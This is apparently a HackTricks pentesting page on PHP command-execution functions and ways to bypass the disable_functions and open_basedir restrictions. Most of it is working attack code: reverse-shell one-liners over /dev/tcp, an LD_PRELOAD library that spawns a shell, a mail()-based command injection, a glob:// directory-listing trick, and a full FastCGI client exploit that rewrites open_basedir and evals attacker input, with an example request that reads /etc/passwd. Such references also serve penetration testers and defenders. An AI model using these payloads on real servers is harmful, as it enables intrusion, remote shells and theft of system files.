// HackTricks · Network Services

PHP - Useful Functions & disablefunctions/openbasedir bypass

PHP - Useful Functions & disable_functions/open_basedir bypass

PHP Command & Code Execution

PHP Command Execution

Note: p0wny-shell can automatically identify available command-execution functions when others are disabled.

exec - Returns last line of commands output

echo exec("uname  -a");

passthru - Passes commands output directly to the browser

echo passthru("uname -a");

system - Passes commands output directly to the browser and returns last line

echo system("uname -a");

shell_exec - Returns commands output

echo shell_exec("uname -a");

“ (backticks) - Same as shell_exec()

echo `uname -a`

popen - Opens read or write pipe to process of a command

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Similar to popen() but greater degree of control

proc_close(proc_open("uname -a",array(),$something));

preg_replace

The /e modifier shown below is a legacy PHP 5 technique; it was removed in PHP 7.0.

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Executes a program (by default in modern and not so modern PHP you need to load the pcntl.so module to use this function)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the $options parameter. This is because php mail function usually call sendmail binary inside the system and it allows you to put extra options. However, you won’t be able to see the output of the executed command, so it’s recommended to create shell script that writes the output to a file, execute it using mail, and print the output:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - This function can be used to dynamically load a PHP extension. This function won’t be present always, so you should check if it’s available before trying to exploit it. Read this page to learn how to exploit this function.

PHP Code Execution

Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.

${<php code>}              // Legacy interpolation contexts only; ordinary reflection in a string is not enough.
eval()
assert()                   // String evaluation was removed in PHP 8.0.
preg_replace('/.*/e',...)  // Legacy: /e evaluated the replacement; removed in PHP 7.0.
create_function()          // Legacy eval-based function creation; removed in PHP 8.0.
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

disable_functions is an INI setting that prevents direct use of named internal functions. open_basedir restricts PHP filesystem operations to configured directory trees; it is an additional safeguard, not a complete operating-system sandbox.
These settings are commonly configured in a php.ini or a scanned directory such as /etc/php/7.x/*/conf.d/.

Both configurations appear in phpinfo() output:

PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()

PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()

open_basedir Bypass

open_basedir restricts path-based PHP filesystem operations outside its configured trees, including many reads, writes, and directory listings. It does not constrain every extension or external process in the same way. If you can execute arbitrary PHP, test the following techniques against the target version and configuration.

Listing dirs with glob:// bypass

In this first example the glob:// protocol with some path bypass is used:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}

Note1: In the path you can also use /e??/* to list /etc/* and any other folder.
Note2: It looks like part of the code is duplicated, but that’s actually necessary!
Note3: This example is only useful to list folders not to read files

Full open_basedir bypass abusing FastCGI

If you want to learn more about PHP-FPM and FastCGI you can read the first section of this page.
If php-fpm is configured you can abuse it to completely bypass open_basedir:

Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir

Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir

First find the PHP-FPM Unix socket. It is commonly under /var/run or /run, so the preceding directory-listing code may locate it.
Code from here.[1]

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
        );
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

This script communicates with the PHP-FPM Unix socket to execute a request with attacker-supplied FastCGI parameters. The sent PHP_VALUE can override per-directory settings such as open_basedir when the FPM pool and target script permit the request.
Note how eval is used to execute the PHP code you send inside the cmd parameter.
Also note the commented line 324, you can uncomment it and the payload will automatically connect to the given URL and execute the PHP code contained there.
Just access http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); to get the content of the /etc/passwd file.

[!WARNING] You may be thinking that just in the same way we have overwritten open_basedir configuration we can overwrite disable_functions. Well, try it, but it won’t work, apparently disable_functions can only be configured in a .ini php configuration file and the changes you perform using PHP_VALUE won’t be effective on this specific setting.

disable_functions Bypass

If you manage have PHP code executing inside a machine you probably want to go to the next level and execute arbitrary system commands. In this situation is usual to discover that most or all the PHP functions that allow to execute system commands have been disabled in disable_functions.
The following techniques may bypass the restriction when their prerequisites are present.

Automatic bypass discovery

You can use the tool https://github.com/teambi0s/dfunc-bypasser and it will indicate you which function (if any) you can use to bypass disable_functions.

Bypassing using other system functions

Just return to the beginning of this page and check if any of the command executing functions isn’t disabled and available in the environment. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.

LD_PRELOAD bypass

Some PHP functions, such as certain mail() configurations, invoke external binaries. If PHP can set LD_PRELOAD and launch a dynamically linked child process without the variable being stripped, an attacker may force that process to load a malicious library.

Functions that can be used to bypass disable_functions with LD_PRELOAD

  • mail
  • mb_send_mail: Effective when the php-mbstring module is installed.
  • imap_mail: Works if php-imap module is present.
  • libvirt_connect: Requires the php-libvirt-php module.
  • gnupg_init: Utilizable with the php-gnupg module installed.
  • new imagick(): This class can be abused to bypass restrictions. Detailed exploitation techniques can be found in a comprehensive writeup here.[2]

You can find here the fuzzing script that was used to find those functions.

Here is a library you can compile to abuse the LD_PRELOAD env variable:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
	unsetenv("LD_PRELOAD");
	system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
	return 1;
}

Bypass using Chankro

To automate this chain, you can use Chankro, which generates a PHP exploit to upload and invoke through the vulnerable application.
Chankro writes the library and payload to the victim’s disk, then uses the LD_PRELOAD technique and PHP mail() to execute the payload.

Note that in order to use Chankro, mail and putenv cannot appear inside the disable_functions list.
The following example creates a 64-bit Chankro exploit that runs whoami and saves its output in /tmp/chankro_shell.out. Chankro writes the library and payload under /tmp, and produces bicho.php for upload to the target:

shell.sh

#!/bin/sh
whoami > /tmp/chankro_shell.out

Chankro

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

If you find that mail function is blocked by disabled functions, you may still be able to use the function mb_send_mail.
More information about this technique and Chankro here: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/[3]

“Bypass” using PHP capabilities

Note that using PHP you can read and write files, create directories and change permissions.
You can even dump databases.
Maybe using PHP to enumerate the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key).

The phpwebshelllimited project makes these filesystem and enumeration actions easier; many other web shells expose similar operations.

Modules/Version dependent bypasses

There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version:

Automatic Tool

The following script tries some of the methods commented here:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Other Interesting PHP functions

List of functions which accept callbacks

These functions accept a string parameter which could be used to call a function of the attacker’s choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.

Callbacks / Callables

Following lists from here[4]

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Information Disclosure

Most of these calls are not dangerous sinks by themselves. They become information-disclosure issues when an attacker controls their use or can view sensitive returned data. Exposed phpinfo() output is particularly valuable because it reveals configuration, paths, extensions, and environment details.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Other

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

Filesystem calls become dangerous when attacker-controlled data reaches a path or URL argument. For example, with allow_url_fopen=On, a URL can be accepted as a source path, so copy($_GET['s'], $_GET['d']) may fetch remote content and write it to an attacker-selected accessible destination. Similar source/sink combinations can provide file disclosure, overwrite, server-side request forgery, or a pivot to another host.

Open filesystem handler

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Write to filesystem (partially in combination with reading)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Read from filesystem

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

References